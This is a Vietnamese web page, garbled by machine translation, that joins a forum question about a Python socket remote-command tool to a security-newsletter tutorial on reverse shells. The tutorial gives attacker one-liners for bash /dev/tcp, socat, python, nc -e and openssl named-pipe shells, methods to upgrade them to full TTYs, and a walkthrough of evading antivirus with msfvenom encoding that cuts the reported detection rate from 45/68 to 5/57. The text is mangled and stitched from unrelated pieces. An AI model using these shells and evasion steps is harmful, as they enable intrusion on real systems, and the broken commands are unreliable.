Hướng dẫn remote command execution using udp in python - thực thi lệnh từ xa bằng udp trong python

Đối với mục đích giáo dục, tôi đã thiết lập một máy chủ cho phép thực thi lệnh từ xa trên Windows - hay đúng hơn là, tôi đã cố gắng. Vì một số lý do, dòng lệnh từ chối nhận ra một số lệnh tôi gửi, nhưng những người khác hoạt động tốt. Chẳng hạn, gửi lệnh echo "Hello World!!!" nguyên nhân, như bình thường, một cửa sổ CMD để bật lên đọc "Hello World !!!". Khỏe. Nhưng khi tôi gửi lệnh shutdown /s /t 30, nó cung cấp cho tôi màn hình cú pháp / trợ giúp không phù hợp cho lệnh tắt máy. Khi tôi gửi lệnh msg * "Hello World", nó cho tôi biết rằng 'MSG' không phải là một lệnh bên trong hoặc bên ngoài, chương trình hoạt động hoặc tệp hàng loạt được công nhận. Đây là mã máy chủ của tôi:

import socket
import sys

sock = socket.socket[socket.AF_INET, socket.SOCK_STREAM]
sock.setsockopt[socket.SOL_SOCKET, socket.SO_REUSEADDR, 1]
server_address = ['', 4242]
sock.bind[server_address]

sock.listen[1]

connection, client_address = sock.accept[]
print["Connection established with %s " % str[client_address]]
while True:
    command = input["Enter a command: "]
    connection.send[bytes[command, 'UTF-8']]
    confirm = connection.recv[128]
    if confirm == "yes":
        print["[+] Command executed successfully."]
    else:
        print["[-] Command failed to execute!!!"]

Và đây là mã khách hàng của tôi:

import socket
import sys
import os

sock = socket.socket[socket.AF_INET, socket.SOCK_STREAM]
sock.setsockopt[socket.SOL_SOCKET, socket.SO_REUSEADDR, 1]
server_address = ['', 42042]
sock.bind[server_address]

sock.connect[['192.168.1.5', 4242]]

while True:
    command = str[sock.recv[1024]]
    try:
        os.system[command[2:]] # an odd thing, the commands somehow came out prefaced with "b'". Ideas?
        sock.send[bytes["yes", 'UTF-8']]
    except:
        sock.send[bytes["no", 'UTF-8']]

Vì vậy, đúng vậy, đó là điều đó. Thực tế là chỉ một số lệnh đang bị lừa thực sự gây nhầm lẫn cho tôi. Có ai có bất kỳ ý tưởng? Ngoài ra, có chuyện gì với "B '" đó?

Đăng tín dụng: Karl Gilbert Karl Gilbert

Môi trường bị khóa được thiết kế để an toàn cao và chống lại các nỗ lực xâm nhập. Hầu hết thời gian, sẽ có EDR chạy trên máy chủ khiến cho việc tải xuống các nhị phân vỏ ngược lại rất khó khăn. Do đó, chúng tôi sẽ phải sử dụng các công cụ hệ thống đã có sẵn cho chúng tôi. Chúng bao gồm các công cụ hệ thống như SHB, NCAT, Socat, Bash, Python, v.v. Sử dụng thực thi mã từ xa [RCE], có thể đưa các vỏ đảo ngược trở lại hệ thống tấn công của chúng tôi. Hãy cùng xem cách sử dụng các công cụ hệ thống này để có được các vỏ đảo ngược bằng cách thực thi mã từ xa:shb, ncat, socat, bash, python, etc. Using remote code execution [RCE], it is possible to get reverse shells back to our attacker system. Let’s take a look at how these system tools can be utilized to get Reverse Shells using remote code execution:

Trở lại các vỏ đảo ngược bằng các công cụ hệ thống và thực thi mã từ xa

Bash

Bash Shell có thể được tạo bằng cách mở một cổng trực tiếp trên /dev /tcp hoặc /dev /udp và sau đó tương tác với bash.

TCP:/bin/bash -i> &//dev/tcp // 443 0> & 1

Nhận vỏ ngược với NCAT -NLVP

Sử dụng tùy chọn -i của bash, chúng tôi có thể đảm bảo rằng chúng tôi sẽ nhận được một vỏ tương tác với bash.-i option of bash, we can ensure we are getting an interactive shell with bash.

UDP:/bin/bash -i> &//dev/udp // 443 0> & 1

Nhận vỏ ngược với NCAT -U -LVP

Socat

Socat là một tiện ích dựa trên dòng lệnh có thể thiết lập hai luồng byte hai chiều và có thể truyền dữ liệu. Socat đủ mạnh để cung cấp cho chúng ta vỏ Tty trực tiếp. Socat Exec: xông Bash -li, Pty, Stderr, Setsid, Sigint, Sane TCP :: 443. Ở đây chúng tôi đang chuyển các đối số dưới đây để tạo vỏ ngược của chúng tôi:

bash -Li -bash ở chế độ tương tác.

EXEC-Fork một quy trình phụ thiết lập giao tiếp với quy trình mẹ và sau đó gọi chương trình được gửi trong đối số với Execvp [].

Pty-Tạo một đầu cuối giả [PTY] và sử dụng phía chính của nó.

Stderr - Sử dụng Bộ mô tả tệp 2

SetSid - Được sử dụng để chạy một chương trình trong một phiên mới

Sigint - Ngắt tín hiệu được sử dụng để làm gián đoạn lệnh. Điều này sẽ làm gián đoạn các quy trình đã cho và dừng quá trình

Sane - Thư viện API được sử dụng để quét các tệp

Chúng tôi nhận được vỏ socat với tệp socat;

Python

Python có thể được sử dụng để tạo ra các vỏ Pty bằng cách sử dụng lệnh python -c.

python -c 'a = __ nhập __; b = a [Ổ cắm Ổ cắm]. Ổ cắm; f = s.fileno; c [[[/bin/sh ,,

Chúng ta có thể nhận được kết nối Shell ngược chỉ với NetCat:

Netcat & NCAT

Các tiện ích NCAT và NC cũng có thể được sử dụng để có được vỏ đảo ngược. Chúng ta có thể sử dụng NC -E /BIN /BASH 443 để tạo vỏ, trong đó tùy chọn -E được sử dụng để thực hiện chương trình và gửi đầu ra vào IP và cổng đích.and nc utilities can also be used to gain reverse shells as well. We can use nc -e /bin/bash 443 to create the shell, where the -e option is used to execute a program and pipe the output to the destination IP and port.

Chúng tôi cũng sẽ nhận được kết nối shell ngược với netcat

OpenSSL

OpenSSL là một mặt hàng chủ lực trên hầu hết các máy chủ ngay cả khi phần lớn các công cụ khác không có sẵn. Chúng ta có thể chạy lệnh MKFIFO và sau đó gửi nó vào OpenSSL để tạo vỏ ngược được mã hóa vào máy tấn công của chúng tôi:

mkfifo /tmp /s; /bin/sh -i & 1 | OpenSSL S_Client -quiet -connect Địa chỉ IP IP: 443> /tmp /s; rm /tmp /s

mkfifo - tạo một đường ống được đặt tên thành /tmp /s

OpenSSL S_Client - Tạo máy khách OpenSSL mới để tạo kết nối SSL

Im lặng - Ngăn chặn in phiên và thông tin chứng chỉ

Kết nối - Kết nối với IP và cổng đã cho

Chúng tôi có thể nhận được shell bằng cách mở cổng nghe hỗ trợ SSL bằng NCAT:

NCAT --SSSL -VV -L -P 443

Vỏ đảo ngược đầy đủ tty

Thông thường các vỏ được sinh ra bởi một số kỹ thuật được tô sáng trước đó bị hạn chế về chức năng. Một shell đảo ngược tty cung cấp cho bạn một môi trường đầu cuối với chức năng đầu vào/đầu ra văn bản. TTY thực hiện các lệnh bổ sung [IOCTL] trên một shell mà không có bất kỳ tty nào để cho phép người dùng tương tác thêm với hệ thống. Sinh sản một vỏ tty cũng có thể giúp thoát ra khỏi vỏ tù. Điều này hầu hết được yêu cầu để chạy các công cụ hệ thống như Bash, ZSH, v.v. Hãy cùng xem xét cách chúng ta có thể nâng cấp vỏ hạn chế lên các vỏ đảo ngược hoàn toàn:bash, zsh, etc. Let’s look at how we can upgrade limited shells to full TTY Reverse Shells:

NC / RLWRAP

Chúng ta có thể sử dụng RLWRAP để nâng cấp Shell NetCat cơ bản bằng cách quấn vỏ netcat bằng RLWRAP và giảm thiểu một số hạn chế

Chúng tôi chạy RLWRAP trên trình nghe rlWrap NC -NLVP 443

Socat

Sử dụng Socat là một cách rất dễ dàng để tạo ra các vỏ Tty vì Socat có khả năng chuyển các vỏ Tty đầy đủ qua các kết nối TCP. Chúng ta phải sử dụng Socat ở cả hai đầu để có được một vỏ Tty đầy đủ chức năng.

Về phía kẻ tấn công, chúng tôi cũng bắt được kết nối với Socat

Python

Chúng ta có thể sử dụng Python để nâng cấp kết nối NetCat cơ bản lên Shell Tty đầy đủ nếu Python được bật trên máy chủ nạn nhân bằng cách sử dụng lệnh Python -cpython -c command

Chúng tôi sử dụng Netcat để tạo vỏ ngược:

Và sau đó sử dụng python để nâng cấp kết nối lên tty python -c ‘nhập pty; pty.spawn [Hồi/bin/bash,]

Vi

Chúng ta có thể sử dụng trình chỉnh sửa VI văn bản để sinh ra một shell tty đầy đủ từ vỏ netcat cơ bản. Sau khi Shell Reverse NetCat được tạo, chúng tôi sẽ mở VI Text Editor:

Và sau đó sử dụng:! Lệnh bash để sinh ra một shell tty đầy đủ:

Chúng ta cũng có thể sử dụng lệnh: set shell =/bin/bash: shell để sinh ra shell tty từ vi:

Sử dụng các kỹ thuật được tô sáng cho đến nay, chúng ta có thể sử dụng các công cụ hệ thống được cài đặt sẵn trong các môi trường bị tước bỏ nhiều nhất để sinh ra vỏ đảo ngược và sau đó nâng cấp chúng lên các vỏ Tty đầy đủ để có được chức năng nâng cấp.

Tuy nhiên, có thể có một trình chặn khác để thực hiện các hành động này nếu EDR được thực hiện. Chúng ta hãy xem xét cách thức chống phần mềm độc hại nói chung có thể bị lừa hoặc bỏ qua để cải thiện tỷ lệ thành công khi chạy tải trọng nhị phân của chúng ta.

Bỏ qua phát hiện EDR trong môi trường an toàn cao

Bỏ qua bảo vệ chống vi -rút trên các môi trường an toàn cao đòi hỏi chúng tôi phải sử dụng các kỹ thuật obfuscation mới cho phép chúng tôi bỏ qua AV và chạy tải trọng của chúng tôi để có được vỏ ngược trên các hệ thống an toàn.

Để có ý tưởng về cách thức hoạt động của nó, hãy để Lôi nhìn vào tải trọng shell đảo ngược mẫu:

1

2. Như chúng ta có thể thấy, tốc độ phát hiện cho tải trọng vỏ ngược của chúng ta được phát hiện trên các động cơ chống vi -rút 45/68 trên tổng số virus mà không có bất kỳ hình thức nào của phương pháp bỏ qua/obfuscation.

3. Để bỏ qua các hạn chế này, chúng tôi đã tạo một tải trọng khác trong MSFVENOM và mã hóa nó với bộ mã hóa X86/Countdown để cung cấp một lớp obfuscation. Chúng tôi cũng đã thay đổi tệp FileType từ EXE thành VBA, một tệp tập lệnh và không phải là một thực thi, do đó làm cho nó ít được phát hiện hơn.exe to vba which is a script file and not an executable, therefore makes it less detectable.

4. Khi chúng tôi tải trọng tải trọng mới của mình lên VT, chúng tôi có thể thấy tỷ lệ phát hiện đã giảm rất nhiều từ 45/68 xuống chỉ còn 5/57.


[/et_pb_text][/et_pb_column][/et_pb_row][/et_pb_section]

SECPRO là một bản tin bảo mật hàng tuần để giúp bạn giữ sắc nét và nâng cấp các kỹ năng của mình với những hiểu biết về mối đe dọa xu hướng, hướng dẫn thực tế, phòng thí nghiệm thực hành và tài nguyên hữu ích. Xây dựng kỹ năng ít nhất là 10 phút. & NBSP; Tham gia bản tin tại đây.

Bài Viết Liên Quan

Chủ Đề